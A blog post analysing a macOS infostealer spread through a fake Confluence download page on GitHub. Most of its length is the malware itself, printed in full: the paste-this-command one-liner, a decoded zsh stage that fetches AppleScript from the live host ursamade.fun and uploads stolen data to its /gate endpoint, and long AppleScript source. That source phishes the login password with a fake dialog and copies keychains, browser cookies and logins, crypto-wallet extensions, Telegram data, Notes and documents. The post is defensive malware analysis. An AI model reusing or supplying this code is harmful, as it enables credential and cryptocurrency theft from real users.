Malware-for-macOS

Reading time ~19 minutes

Background

A few days ago, while searching for the Confluence macOS client, I unexpectedly discovered this ‘gift’ program. I found the entry point directly via a Google Search. The perpetrators primarily leveraged users’ trust in GitHub, guiding them to copy and execute a download and installation script locally. I found many interesting aspects in this process, so I decided to write it down.

“Download from Github”

Firstly, Confluence does not have an official client, at least not for macOS. The intersection of Confluence users and GitHub users is also significant. The entry page was directly hosted on GitHub. The page structure suggested it was an Organization with only a .github repository, making the page directly visible to users through its README.md.

malware-step1

When a user clicks Get XXX Github, the page redirects and leaves github.com, displaying a h1 title: Download for macOS. This is where I noticed something wrong. If I weren’t so familiar with GitHub, I wouldn’t have even looked at the domain name of the page, as GitHub does not offer such a download service page. A minor flaw here is that typical GitHub newbies likely use the light theme, but the redirected download page is surprisingly dark. It’s evident that github.com cookies are not easily accessible from a static webpage.

malware-step2

“Install”

From this step, it guides users to execute shell scripts, even including a friendly prompt. Many macOS apps are indeed installed via the command line, which adds a layer of perceived trustworthiness. The script is as follows:

echo "GitHub-AppInstaller: https://dl.github.com/drive-file-stream/GitHubApplicationSetup.dmg" && curl -kfsSL $(echo 'aHR0cDovL3Vyc2FtYWRlLmZ1bi9jdXJsLzc5ZmJlMmU0Y2NjZWRkYTk5MjA0ZWVlZWFiMWY0Y2I5M2ZmODFjMWQwOGYyZjI4ZGZiMWRiODBjMTg3ZTFkNDM='|base64 -D)|zsh

The preceding echo command is likely a decoy, intended to mislead users into believing they are downloading from dl.github.com, a domain that doesn’t actually exist. It might also serve to obscure the actual malicious script within a single line. The crucial part is the nested curl command that follows. This method, which I considered years ago, is not particularly sophisticated but is a classic technique. The base64 decoding invariably yields a URL, and its content is as follows:

#!/bin/zsh
d21034=$(base64 -d <<'PAYLOAD_m225981802623671' | gunzip
H4sIAGCEKGkAA+VUUW/TMBB+7684vGpqJZLYSdq0HWWbkGBoVEPqEJMAVY59bq06TpS40A3474S2
6rLSJ56QuCfrvvPnu++75ORZkGobPFSLluSY5XamVlY4ndtOF763oA5co4AXgcSvgV0Z85h7eSQX
HiRNLrgBmWdc2zFZlRXPuES/foQ0cJcvsYaToUoxxFgIgVLy4TCkMdbBU6ZikQ4jpQZMMEkHKlTh
QKqUyXRABRskyGQcNSl5oWdLvB+THhtSVCyJIjaIOJWiH6m0H0ZRL1G9vuxvL2kFn6B9At7cAYUv
Z+AWaDfI7xCr0oC3BK8Cz8v42nM6Q4goeFdAPlRYepdztG4Ek/xBG8ODnk+hM+FCW5dXizN4ax0a
qBNwM4U7YHTGerOkC5dFYfAjptfaBb0o8aM+dK6vbifvnoPRS4Q3KJZ5F14tyjzDYMh86sdxEvqM
xTDlipd6d41sWqmH9uqhR9DejU+ALJwrRkHQ3noQyHvLMy3O3VqO2xvdT4tv9ZER+AF5xStR6sJt
DTUV/h8S/Dm70o21OAfP4pG1wLV2wJr1e5Xu4P3N9BY+72v/JZ0Oujoi2UGFMCOgT7PNHaBPkNdA
lDY4vghcVgS1rCafz7Wd+w+6IIeV6Uob2TSigR/6NucOyV/ZUmbgKTjST+tnq+Y6+PMBaV8QOH0k
3RDS1v572D1Qk/8CRXrC9j8FAAA=
PAYLOAD_m225981802623671
)
# eval "$d21034"
echo $d21034

The main event begins: it further encapsulates the core script using base64 and adds gunzip, indicating a degree of penetration testing sophistication. Let’s continue to unpack it:

#!/bin/zsh

daemon_function() {
    exec </dev/null
    exec >/dev/null
    exec 2>/dev/null
    
    local domain="ursamade.fun"
    local token="79fbe2e4cccedda99204eeeeab1f4cb93ff81c1d08f2f28dfb1db80c187e1d43"
    local api_key="5190ef1733183a0dc63fb623357f56d6"
    
    if [ $# -gt 0 ]; then
        curl -k -s --max-time 30 \
            -H "User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36" \
            -H "api-key: $api_key" \
            "http://$domain/dynamic?txd=$token&pwd=$1" | osascript
    else
        curl -k -s --max-time 30 \
            -H "User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36" \
            -H "api-key: $api_key" \
            "http://$domain/dynamic?txd=$token" | osascript
    fi
    
    if [ $? -ne 0 ]; then
        exit 1
    fi
    
    curl -k -X POST \
        -H "User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36" \
        -H "api-key: $api_key" \
        -H "cl: 0" \
        --max-time 300 \
        -F "file=@/tmp/osalogging.zip" \
        -F "buildtxd=$token" \
        "http://$domain/gate"
    
    if [ $? -ne 0 ]; then
        exit 1
    fi
    
    rm -f /tmp/osalogging.zip
}

if daemon_function "$@" & then
    exit 0
else
    exit 1
fi

Finally, the core program script has been discovered. It utilizes AppleScript, an Apple native language, which is reasonable for macOS and more robust than shell scripting. Unpacking further:

on filesizer(paths)
    set fsz to 0
    try
        set theItem to quoted form of POSIX path of paths
        set fsz to (do shell script "/usr/bin/mdls -name kMDItemFSSize -raw " & theItem)
    end try
    return fsz
end filesizer

on mkdir(someItem)
    try
        set filePosixPath to quoted form of (POSIX path of someItem)
        do shell script "mkdir -p " & filePosixPath
    end try
end mkdir

on FileName(filePath)
    try
        set reversedPath to (reverse of every character of filePath) as string
        set trimmedPath to text 1 thru ((offset of "/" in reversedPath) - 1) of reversedPath
        set finalPath to (reverse of every character of trimmedPath) as string
        return finalPath
    end try
end FileName

on BeforeFileName(filePath)
    try
        set lastSlash to offset of "/" in (reverse of every character of filePath) as string
        set trimmedPath to text 1 thru -(lastSlash + 1) of filePath
        return trimmedPath
    end try
end BeforeFileName

on writeText(textToWrite, filePath)
    try
        set folderPath to BeforeFileName(filePath)
        mkdir(folderPath)
        set fileRef to (open for access filePath with write permission)
        write textToWrite to fileRef starting at eof
        close access fileRef
    end try
end writeText

on readwrite(path_to_file, path_as_save)
    try
        set fileContent to read path_to_file
        set folderPath to BeforeFileName(path_as_save)
        mkdir(folderPath)
        do shell script "cat " & quoted form of path_to_file & " > " & quoted form of path_as_save
    end try
end readwrite

on isDirectory(someItem)
    try
        set filePosixPath to quoted form of (POSIX path of someItem)
        set fileType to (do shell script "file -b " & filePosixPath)
        if fileType ends with "directory" then
            return true
        end if
        return false
    end try
end isDirectory

on GrabFolderLimit(sourceFolder, destinationFolder)
    try
        set bankSize to 0
        set exceptionsList to {".DS_Store", "Partitions", "Code Cache", "Cache", "market-history-cache.json", "journals", "Previews"}
        set fileList to list folder sourceFolder without invisibles
        mkdir(destinationFolder)
        repeat with currentItem in fileList
            if currentItem is not in exceptionsList then
                set itemPath to sourceFolder & "/" & currentItem
                set savePath to destinationFolder & "/" & currentItem
                if isDirectory(itemPath) then
                    GrabFolderLimit(itemPath, savePath)
                else
                    set fsz to filesizer(itemPath)
                    set bankSize to bankSize + fsz
                    if bankSize < 100 * 1024 * 1024 then
                        readwrite(itemPath, savePath)
                    end if
                end if
            end if
        end repeat
    end try
end GrabFolderLimit

on GrabFolder(sourceFolder, destinationFolder)
    try
        set exceptionsList to {".DS_Store", "Partitions", "Code Cache", "Cache", "market-history-cache.json", "journals", "Previews", "dumps", "emoji", "user_data", "__update__"}
        set fileList to list folder sourceFolder without invisibles
        mkdir(destinationFolder)
        repeat with currentItem in fileList
            if currentItem is not in exceptionsList then
                set itemPath to sourceFolder & "/" & currentItem
                set savePath to destinationFolder & "/" & currentItem
                if isDirectory(itemPath) then
                    GrabFolder(itemPath, savePath)
                else
                    readwrite(itemPath, savePath)
                end if
            end if
        end repeat
    end try
end GrabFolder

on checkvalid(username, password_entered)
    try
        set result to do shell script "dscl . authonly " & quoted form of username & space & quoted form of password_entered
        if result is not equal to "" then
            return false
        else
            return true
        end if
    on error
        return false
    end try
end checkvalid

on getpwd(username, writemind, provided_password)
    try
        if provided_password is not equal to "" then
            if checkvalid(username, provided_password) then
                writeText(provided_password, writemind & "Password")
                return provided_password
            end if
        end if
        if checkvalid(username, "") then
            set result to do shell script "security 2>&1 > /dev/null find-generic-password -ga \"Chrome\" | awk \"{print $2}\""
            writeText(result as string, writemind & "masterpass-chrome")
            return ""
        else
            repeat
                set imagePath to "/System/Library/CoreServices/CoreTypes.bundle/Contents/Resources/LockedIcon.icns" as POSIX file
                set result to display dialog "Required Application Helper. Please enter password for continue." default answer "" with icon imagePath buttons {"Continue"} default button "Continue" giving up after 150 with title "System Preferences" with hidden answer
                set password_entered to text returned of result
                if checkvalid(username, password_entered) then
                    writeText(password_entered, writemind & "Password")
                    return password_entered
                end if
            end repeat
        end if
    end try
    return ""
end getpwd

on grabPlugins(paths, savePath, pluginList, index)
    try
        set fileList to list folder paths without invisibles
        repeat with PFile in fileList
            repeat with Plugin in pluginList
                if (PFile contains Plugin) then
                    set newpath to paths & PFile
                    set newsavepath to savePath & "/" & Plugin
                    if index then
                        set newsavepath to savePath & "/IndexedDB/" & PFile
                    end if
                    GrabFolder(newpath, newsavepath)
                end if
            end repeat
        end repeat
    end try
end grabPlugins

on Chromium(writemind, chromium_map)
    
    set pluginList to {}
    set pluginList to pluginList & {"eiaeiblijfjekdanodkjadfinkhbfgcd", "aeblfdkhhhdcdjpifhhbdiojplfjncoa"}
    set pluginList to pluginList & {"bfogiafebfohielmmehodmfbbebbbpei", "nngceckbapebfimnlniiiahkandclblb"}
    set pluginList to pluginList & {"fdjamakpfbbddfjaooikfcpapjohcfmg", "hdokiejnpimakedhajhdlcegeplioahd"}
    set pluginList to pluginList & {"pnlccmojcmeohlpggmfnbbiapkmbliob", "ghmbeldphafepmbegfdlkpapadhbakde"}
    set pluginList to pluginList & {"kmcfomidfpdkfieipokbalgegidffkal", "bnfdmghkeppfadphbnkjcicejfepnbfe"}
    set pluginList to pluginList & {"caljgklbbfbcjjanaijlacgncafpegll", "folnjigffmbjmcjgmbbfcpleeddaedal"}
    set pluginList to pluginList & {"igkpcodhieompeloncfnbekccinhapdb", "admmjipmmciaobhojoghlmleefbicajg"}
    set pluginList to pluginList & {"ehpbfbahieociaeckccnklpdcmfaeegd", "epanfjkfahimkgomnigadpkobaefekcd"}
    set pluginList to pluginList & {"didegimhafipceonhjepacocaffmoppf", "oboonakemofpalcgghocfoadofidjkkk"}
    set pluginList to pluginList & {"jgnfghanfbjmimbdmnjfofnbcgpkbegj", "mmhlniccooihdimnnjhamobppdhaolme"}
    set pluginList to pluginList & {"dbfoemgnkgieejfkaddieamagdfepnff", "bhghoamapcdpbohphigoooaddinpkbai"}
    set pluginList to pluginList & {"nngceckbapebfimnlniiiahkandclblb", "lojeokmpinkpmpbakfkfpgfhpapbgdnd"}
    set pluginList to pluginList & {"ibpjepoimpcdofeoalokgpjafnjonkpc", "gmohoglkppnemohbcgjakmgengkeaphi"}
    set pluginList to pluginList & {"hdokiejnpimakedhajhdlcegeplioahd", "oboonakemofpalcgghocfoadofidjkkk"}
    set pluginList to pluginList & {"dckgbiealcgdhgjofgcignfngijpbgba", "gmegpkknicehidppoebnmbhndjigpica"}
    set pluginList to pluginList & {"eiokpeobbgpinbmcanngjjbklmhlepan", "odfkmgboddhcgopllebhkbjhokpojigd"}
    set pluginList to pluginList & {"ppnbnpeolgkicgegkbkbjmhlideopiji", "cejfhijdfemlohmcjknpbeaohedoikpp"}
    set pluginList to pluginList & {"nmhjblhloefhbhgbfkdgdpjabaocnhha", "iklgijhacenjgjgdnpnohbafpbmnccek"}
    set pluginList to pluginList & {"ppkkcfblhfgmdmefkmkoomenhgecbemi", "lgndjfkadlbpaifdpbbobdodbaiaiakb"}
    set pluginList to pluginList & {"bbphmbmmpomfelajledgdkgclfekilei", "bnfooenhhgcnhdkdjelgmmkpaemlnoek"}

    set chromiumFiles to {"/Network/Cookies", "/Cookies", "/Web Data", "/Login Data", "/Local Extension Settings/", "/IndexedDB/"}
    repeat with chromium in chromium_map
        set savePath to writemind & "Browsers/" & item 1 of chromium & "_"
        try
            set fileList to list folder item 2 of chromium without invisibles
            repeat with currentItem in fileList
                if ((currentItem as string) is equal to "Default") or ((currentItem as string) contains "Profile") then
                    set profileName to (item 1 of chromium & currentItem)
                    repeat with CFile in chromiumFiles
                        set readpath to (item 2 of chromium & currentItem & CFile)
                        if ((CFile as string) is equal to "/Network/Cookies") then
                            set CFile to "/Cookies"
                        end if
                        if ((CFile as string) is equal to "/Local Extension Settings/") then
                            grabPlugins(readpath, writemind & "Extensions/" & profileName, pluginList, false)
                        else if (CFile as string) is equal to "/IndexedDB/" then
                            grabPlugins(readpath, writemind & "Extensions/" & profileName, pluginList, true)
                        else
                            set writepath to savePath & currentItem & CFile
                            readwrite(readpath, writepath)
                        end if
                    end repeat
                end if
            end repeat
        end try
    end repeat
end Chromium

on ChromiumWallets(writemind, chromium_map)
    
    set pluginList to {}
    set pluginList to pluginList & {"nkbihfbeogaeaoehlefnkodbefgpgknn", "bfnaelmomeimhlpmgjnjophhpkkoljpa"}
    set pluginList to pluginList & {"hnfanknocfeofbddgcijnmhnfnkdnaad", "fnjhmkhhmkbjkkabndcnnogagogbneec"}
    set pluginList to pluginList & {"acmacodkjbdgmoleebolmdjonilkdbch", "egjidjbpglichdcondbcbdnbeeppgdph"}
    set pluginList to pluginList & {"aholpfdialjgjfhomihkjbmgjidlcdno", "fhbohimaelbohpjbbldcngcnapndodjp"}
    set pluginList to pluginList & {"pdliaogehgdbhbnmkklieghmmjkpigpa", "mcohilncbfahbmgdjkbpemcciiolgcge"}
    set pluginList to pluginList & {"hpglfhgfnhbgpjdenjgmdgoeiappafln", "bhhhlbepdkbapadjdnnojkbgioiodbic"}
    set pluginList to pluginList & {"dhgnlgphgchebgoemcjekedjjbifijid", "cjmkndjhnagcfbpiemnkdpomccnjblmj"}
    set pluginList to pluginList & {"kamfleanhcmjelnhaeljonilnmjpkcjc", "jnldfbidonfeldmalbflbmlebbipcnle"}
    set pluginList to pluginList & {"fdcnegogpncmfejlfnffnofpngdiejii", "klnaejjgbibmhlephnhpmaofohgkpgkd"}
    set pluginList to pluginList & {"pdadjkfkgcafgbceimcpbkalnfnepbnk", "kjjebdkfeagdoogagbhepmbimaphnfln"}
    set pluginList to pluginList & {"ldinpeekobnhjjdofggfgjlcehhmanlj", "dkdedlpgdmmkkfjabffeganieamfklkm"}
    set pluginList to pluginList & {"bcopgchhojmggmffilplmbdicgaihlkp", "kpfchfdkjhcoekhdldggegebfakaaiog"}
    set pluginList to pluginList & {"idnnbdplmphpflfnlkomgpfbpcgelopg", "mlhakagmgkmonhdonhkpjeebfphligng"}
    set pluginList to pluginList & {"bipdhagncpgaccgdbddmbpcabgjikfkn", "gcbjmdjijjpffkpbgdkaojpmaninaion"}
    set pluginList to pluginList & {"nhnkbkgjikgcigadomkphalanndcapjk", "hoighigmnhgkkdaenafgnefkcmipfjon"}
    set pluginList to pluginList & {"klghhnkeealcohjjanjjdaeeggmfmlpl", "ebfidpplhabeedpnhjnobghokpiioolj"}
    set pluginList to pluginList & {"emeeapjkbcbpbpgaagfchmcgglmebnen", "fldfpgipfncgndfolcbkdeeknbbbnhcc"}
    set pluginList to pluginList & {"penjlddjkjgpnkllboccdgccekpkcbin", "fhilaheimglignddkjgofkcbgekhenbh"}
    set pluginList to pluginList & {"hmeobnfnfcmdkdcmlblgagmfpfboieaf", "cihmoadaighcejopammfbmddcmdekcje"}
    set pluginList to pluginList & {"lodccjjbdhfakaekdiahmedfbieldgik", "omaabbefbmiijedngplfjmnooppbclkk"}
    set pluginList to pluginList & {"cjelfplplebdjjenllpjcblmjkfcffne", "jnlgamecbpmbajjfhmmmlhejkemejdma"}
    set pluginList to pluginList & {"fpkhgmpbidmiogeglndfbkegfdlnajnf", "bifidjkcdpgfnlbcjpdkdcnbiooooblg"}
    set pluginList to pluginList & {"amkmjjmmflddogmhpjloimipbofnfjih", "flpiciilemghbmfalicajoolhkkenfel"}
    set pluginList to pluginList & {"hcflpincpppdclinealmandijcmnkbgn", "aeachknmefphepccionboohckonoeemg"}
    set pluginList to pluginList & {"dmkamcknogkgcdfhhbddcghachkejeap", "aiifbnbfobpmeekipheeijimdpnlpgpp"}
    set pluginList to pluginList & {"lnlgggpeobikjajknobcafelknhagpfm", "jbcaagbdccncfmcfnphlekhiaagjilbp"}
    set pluginList to pluginList & {"ehgjhhccekdedpbkifaojjaefeohnoea", "ppfnhnehhnhjgfndmknocbhgbljcgmea"}
    set pluginList to pluginList & {"gpmfggmaefiofejoiglokkbmcabngnka", "dhdhgefhfkkagfapgllgbbpbfnjghkdi"}
    set pluginList to pluginList & {"bfniaeljhklfpbciicfjhnmecmbmncbo", "okgnlkmgijhkjlabfeemfnlbpdndljdm"}
    set pluginList to pluginList & {"ljjemllljcmogpfapbubnnojmmbbggf", "copjnifcecdedocejpaapepagaodgpbh"}
    set pluginList to pluginList & {"afcbpolkjjifpndjmojheojacmjjbgfp", "jbkboiepncdkhmbjpmemdfnogpijndap"}
    set pluginList to pluginList & {"fplfipjdepjmojcaedddfhokfgmicmji", "nknhiehlklippafakaeklbeglecifhad"}
    set pluginList to pluginList & {"aodkkagnadcbobfpggfnjeongemkkdgm", "kpfopkelmapcoipemfendmdcghnegimn"}
    set pluginList to pluginList & {"ejbalbakoplchlghecdalmeeeajnimhm", "nphplpgoakhhjchkkhmiggakijnkhfnd"}
    set pluginList to pluginList & {"ibnejdfjmmkpcnlpebklmnkoeoihofec", "afbcbjpbpfadlkmhmclhkeeodmamcflc"}
    set pluginList to pluginList & {"kncchdigobghenbbaddojjnnaogfppfj", "mffceckpccgohnppegbjdpjmdidjodp"}
    set pluginList to pluginList & {"fgponpdgajpkhjgnkkklccfpaadjhoc", "odbfpjdcjpehhgkohdmakcjedjhbjbg"}
    set pluginList to pluginList & {"bkplohnglpbpapbajoffdjhnnjphjgle", "fhjgpjldicfllimjkedjopomkikgknf"}
    set pluginList to pluginList & {"aebnfegckjigfecbpkckfegkngdoliho", "pdmbefknhfijgngjfjppgmdplfghjle"}
    set pluginList to pluginList & {"kpfpkpfonmhbhkjfpnplgpmflggkccfb", "fhqjmahafnnglkojfoinoepfgaoapdjh"}
    set pluginList to pluginList & {"aejoikjclgjdjehpmhbfkkiojgpdcghk", "ejjladinnckdgjemekebdpeokbikhfci"}
    set pluginList to pluginList & {"phkbamefinggmakgklpkljjmgibohnba", "epapihdplajcdnnkdeiahlgigofloibg"}
    set pluginList to pluginList & {"hpclkefagolihohboafpheddmmgdffjm", "cjookpbkjnpkmknedggeecikaponcalb"}
    set pluginList to pluginList & {"cpmkedoipcpimgecpmgpldfpohjplkpp", "modjfdjcodmehnpccdjngmdfajggaoeh"}
    set pluginList to pluginList & {"ibnejdfjmmkpcnlpebklmnkoeoihofec", "afbcbjpbpfadlkmhmclhkeeodmamcflc"}
    set pluginList to pluginList & {"kncchdigobghenbbaddojjnnaogfppfj", "efbglgofoippbgcjepnhiblaibcnclgk"}
    set pluginList to pluginList & {"mcbigmjiafegjnnogedioegffbooigli", "fccgmnglbhajioalokbcidhcaikhlcpm"}
    set pluginList to pluginList & {"hnhobjmcibchnmglfbldbfabcgaknlkj", "apnehcjmnengpnmccpaibjmhhoadaico"}
    set pluginList to pluginList & {"enabgbdfcbaehmbigakijjabdpdnimlg", "mgffkfbidihjpoaomajlbgchddlicgpn"}
    set pluginList to pluginList & {"fopmedgnkfpebgllppeddmmochcookhc", "jojhfeoedkpkglbfimdfabpdfjaoolaf"}
    set pluginList to pluginList & {"ammjlinfekkoockogfhdkgcohjlbhmff", "abkahkcbhngaebpcgfmhkoioedceoigp"}
    set pluginList to pluginList & {"dcbjpgbkjoomeenajdabiicabjljlnfp", "gkeelndblnomfmjnophbhfhcjbcnemka"}
    set pluginList to pluginList & {"pnndplcbkakcplkjnolgbkdgjikjednm", "copjnifcecdedocejpaapepagaodgpbh"}
    set pluginList to pluginList & {"hgbeiipamcgbdjhfflifkgehomnmglgk", "mkchoaaiifodcflmbaphdgeidocajadp"}
    set pluginList to pluginList & {"ellkdbaphhldpeajbepobaecooaoafpg", "mdnaglckomeedfbogeajfajofmfgpoae"}
    set pluginList to pluginList & {"nknhiehlklippafakaeklbeglecifhad", "ckklhkaabbmdjkahiaaplikpdddkenic"}
    set pluginList to pluginList & {"fmblappgoiilbgafhjklehhfifbdocee", "nphplpgoakhhjchkkhmiggakijnkhfnd"}
    set pluginList to pluginList & {"cnmamaachppnkjgnildpdmkaakejnhae", "fijngjgcjhjmmpcmkeiomlglpeiijkld"}
    set pluginList to pluginList & {"niiaamnmgebpeejeemoifgdndgeaekhe", "odpnjmimokcmjgojhnhfcnalnegdjmdn"}
    set pluginList to pluginList & {"lbjapbcmmceacocpimbpbidpgmlmoaao", "hnfanknocfeofbddgcijnmhnfnkdnaad"}
    set pluginList to pluginList & {"hpglfhgfnhbgpjdenjgmdgoeiappafln", "egjidjbpglichdcondbcbdnbeeppgdph"}
    set pluginList to pluginList & {"ibljocddagjghmlpgihahamcghfggcjc", "gkodhkbmiflnmkipcmlhhgadebbeijhh"}
    set pluginList to pluginList & {"dbgnhckhnppddckangcjbkjnlddbjkna", "mfhbebgoclkghebffdldpobeajmbecfk"}
    set pluginList to pluginList & {"nlbmnnijcnlegkjjpcfjclmcfggfefdm", "nlgbhdfgdhgbiamfdfmbikcdghidoadd"}
    set pluginList to pluginList & {"acmacodkjbdgmoleebolmdjonilkdbch", "agoakfejjabomempkjlepdflaleeobhb"}
    set pluginList to pluginList & {"dgiehkgfknklegdhekgeabnhgfjhbajd", "onhogfjeacnfoofkfgppdlbmlmnplgbn"}
    set pluginList to pluginList & {"kkpehldckknjffeakihjajcjccmcjflh", "jaooiolkmfcmloonphpiiogkfckgciom"}
    set pluginList to pluginList & {"ojggmchlghnjlapmfbnjholfjkiidbch", "pmmnimefaichbcnbndcfpaagbepnjaig"}
    set pluginList to pluginList & {"oiohdnannmknmdlddkdejbmplhbdcbee", "aiifbnbfobpmeekipheeijimdpnlpgpp"}
    set pluginList to pluginList & {"aholpfdialjgjfhomihkjbmgjidlcdno", "anokgmphncpekkhclmingpimjmcooifb"}
    set pluginList to pluginList & {"kkpllkodjeloidieedojogacfhpaihoh", "iokeahhehimjnekafflcihljlcjccdbe"}
    set pluginList to pluginList & {"ifckdpamphokdglkkdomedpdegcjhjdp", "loinekcabhlmhjjbocijdoimmejangoa"}
    set pluginList to pluginList & {"fcfcfllfndlomdhbehjjcoimbgofdncg", "ifclboecfhkjbpmhgehodcjpciihhmif"}
    set pluginList to pluginList & {"dmkamcknogkgcdfhhbddcghachkejeap", "ookjlbkiijinhpmnjffcofjonbfbgaoc"}
    set pluginList to pluginList & {"oafedfoadhdjjcipmcbecikgokpaphjk", "mapbhaebnddapnmifbbkgeedkeplgjmf"}
    set pluginList to pluginList & {"cmndjbecilbocjfkibfbifhngkdmjgog", "kpfopkelmapcoipemfendmdcghnegimn"}
    set pluginList to pluginList & {"lgmpcpglpngdoalbgeoldeajfclnhafa", "ppbibelpcjmhbdihakflkdcoccbgbkpo"}
    set pluginList to pluginList & {"ffnbelfdoeiohenkjibnmadjiehjhajb", "opcgpfmipidbgpenhmajoajpbobppdil"}
    set pluginList to pluginList & {"lakggbcodlaclcbbbepmkpdhbcomcgkd", "kgdijkcfiglijhaglibaidbipiejjfdp"}
    set pluginList to pluginList & {"hdkobeeifhdplocklknbnejdelgagbao", "lnnnmfcpbkafcpgdilckhmhbkkbpkmid"}
    set pluginList to pluginList & {"nbdhibgjnjpnkajaghbffjbkcgljfgdi", "kmhcihpebfmpgmihbkipmjlmmioameka"}
    set pluginList to pluginList & {"kmphdnilpmdejikjdnlbcnmnabepfgkh"}
    set pluginList to pluginList & {"aejoikjclgjdjehpmhbfkkiojgpdcghk", "pdmbefknhfijgngjfjppgmdplfghjle"}
    set pluginList to pluginList & {"kpfpkpfonmhbhkjfpnplgpmflggkccfb", "fhqjmahafnnglkojfoinoepfgaoapdjh"}

    set chromiumFiles to {"/Local Extension Settings/", "/IndexedDB/"}
    repeat with chromium in chromium_map
        try
            set fileList to list folder item 2 of chromium without invisibles
            repeat with currentItem in fileList
                if ((currentItem as string) is equal to "Default") or ((currentItem as string) contains "Profile") then
                    set profileName to (item 1 of chromium & currentItem)
                    repeat with CFile in chromiumFiles
                        set readpath to (item 2 of chromium & currentItem & CFile)
                        if ((CFile as string) is equal to "/Local Extension Settings/") then
                            grabPlugins(readpath, writemind & "Wallets/Web/" & profileName, pluginList, false)
                        else if (CFile as string) is equal to "/IndexedDB/" then
                            grabPlugins(readpath, writemind & "Wallets/Web/" & profileName, pluginList, true)
                        else
                            set writepath to savePath & currentItem & CFile
                            readwrite(readpath, writepath)
                        end if
                    end repeat
                end if
            end repeat
        end try
    end repeat
end Chromium


on Telegram(writemind, library)
        try
            GrabFolder(library & "Telegram Desktop/tdata/", writemind & "Telegram Desktop/")
        end try
end Telegram

on Keychains(writemind)
        try
            do shell script "cp ~/Library/Keychains/*.keychain-db " & quoted form of (POSIX path of writemind)
        end try
end Keychains


on DesktopWallets(writemind, deskwals)
    repeat with deskwal in deskwals
        try
            GrabFolder(item 2 of deskwal, writemind & item 1 of deskwal)
        end try
    end repeat
end DesktopWallets

on Filegrabber(writemind)
 try
  set destinationFolderPath to POSIX file (writemind & "FileGrabber/")
  mkdir(destinationFolderPath)
  set destinationSafariPath to POSIX file (writemind & "Safari/")
  mkdir(destinationSafariPath)
  set destinationNotesPath to POSIX file (writemind & "Notes/")
  mkdir(destinationNotesPath)
  set extensionsList to {"pdf", "docx", "doc", "wallet", "key", "keys", "db", "txt", "seed", "rtf", "kdbx"}
  set bankSize to 0
  set fileCounter to 1
  
  tell application "Finder"
    try
        duplicate file ((path to library folder from user domain as text) & "Containers:com.apple.Safari:Data:Library:Cookies:Cookies.binarycookies") to folder (destinationSafariPath) with replacing
    end try
    try
        set notesDB to (path to home folder as text) & "Library:Group Containers:group.com.apple.notes:"
        set dbFiles to {"NoteStore.sqlite", "NoteStore.sqlite-shm", "NoteStore.sqlite-wal"}
        repeat with dbFile in dbFiles
            try
                duplicate (file dbFile of folder notesDB) to folder (destinationNotesPath) with replacing
            end try
        end repeat
    end try
    try
        set desktopFiles to every file of desktop
        set documentsFiles to every file of folder "Documents" of (path to home folder)
        set downloadsFiles to every file of folder "Downloads" of (path to home folder)
        
        repeat with aFile in (desktopFiles & documentsFiles & downloadsFiles)
        set fileExtension to name extension of aFile
        if fileExtension is in extensionsList then
        set filesize to size of aFile
        if (bankSize + filesize) < 10 * 1024 * 1024 then
        try
            set newFileName to (fileCounter as string) & "." & fileExtension
            duplicate aFile to folder destinationFolderPath with replacing
            set destFolderAlias to destinationFolderPath as alias
            tell application "Finder"
            set copiedFiles to every file of folder destFolderAlias
            set lastCopiedFile to item -1 of copiedFiles
            set name of lastCopiedFile to newFileName
            end tell
            
            set bankSize to bankSize + filesize
            set fileCounter to fileCounter + 1
        end try
        else
        exit repeat
        end if
        end if
        end repeat
    end try
  end tell
 end try
end Filegrabber


on FilegrabberFDA(writemind, profile)
    set destinationFolderPath to POSIX file (writemind & "FileGrabber/")
    mkdir(destinationFolderPath)
    try

        set sourceFolders to {profile & "/Downloads/", profile & "/Documents/", profile & "/Desktop/"}
        set extensionsList to {"pdf", "docx", "doc", "wallet", "key", "keys", "db", "txt", "seed", "rtf", "kdbx"}

        repeat with src in sourceFolders
            repeat with ext in extensionsList
                try
                    set shellCmd to "find " & quoted form of (POSIX path of src) & " -maxdepth 1 -type f -iname '*." & ext & "' -print0 | xargs -0 -J% cp -vp % " & quoted form of (POSIX path of destinationFolderPath)
                    do shell script shellCmd
                end try
            end repeat
        end repeat

    end try
    try 
        readwrite(profile & "/Library/Cookies/Cookies.binarycookies", writemind & "Safari/Cookies.binarycookies")
        readwrite(profile & "/Library/Safari/Form Values", writemind & "Safari/Autofill")
        readwrite(profile & "/Library/Safari/History.db", writemind & "Safari/History.db")
    end try
    try
        readwrite(profile & "/Library/Group Containers/group.com.apple.notes/NoteStore.sqlite", writemind & "Notes/NoteStore.sqlite")
        readwrite(profile & "/Library/Group Containers/group.com.apple.notes/NoteStore.sqlite-shm", writemind & "Notes/NoteStore.sqlite-shm")
        readwrite(profile & "/Library/Group Containers/group.com.apple.notes/NoteStore.sqlite-wal", writemind & "Notes/NoteStore.sqlite-wal")
    
    end try

end Filegrabber



try
    do shell script "killall Terminal"
end try

set username to (system attribute "USER")
set profile to "/Users/" & username
set randomNumber to do shell script "echo $((RANDOM % 9000000 + 1000000))"
set writemind to "/tmp/sync" & randomNumber & "/"

set library to profile & "/Library/Application Support/"
set password_entered to getpwd(username, writemind, "")

delay 0.01

set chromiumMap to {}
set chromiumMap to chromiumMap & Yandex
set chromiumMap to chromiumMap & Chrome
set chromiumMap to chromiumMap & Brave
set chromiumMap to chromiumMap & Edge
set chromiumMap to chromiumMap & Vivaldi
set chromiumMap to chromiumMap & Opera
set chromiumMap to chromiumMap & OperaGX
set chromiumMap to chromiumMap & Chrome Beta
set chromiumMap to chromiumMap & Chrome Canary
set chromiumMap to chromiumMap & Chromium
set chromiumMap to chromiumMap & Chrome Dev
set chromiumMap to chromiumMap & Arc
set chromiumMap to chromiumMap & Coccoc

set walletMap to {}
set walletMap to walletMap & Wallets/Desktop/Exodus
set walletMap to walletMap & Wallets/Desktop/Electrum
set walletMap to walletMap & Wallets/Desktop/Atomic
set walletMap to walletMap & Wallets/Desktop/Guarda
set walletMap to walletMap & Wallets/Desktop/Coinomi
set walletMap to walletMap & Wallets/Desktop/Sparrow
set walletMap to walletMap & Wallets/Desktop/Wasabi
set walletMap to walletMap & Wallets/Desktop/Bitcoin_Core
set walletMap to walletMap & Wallets/Desktop/Armory
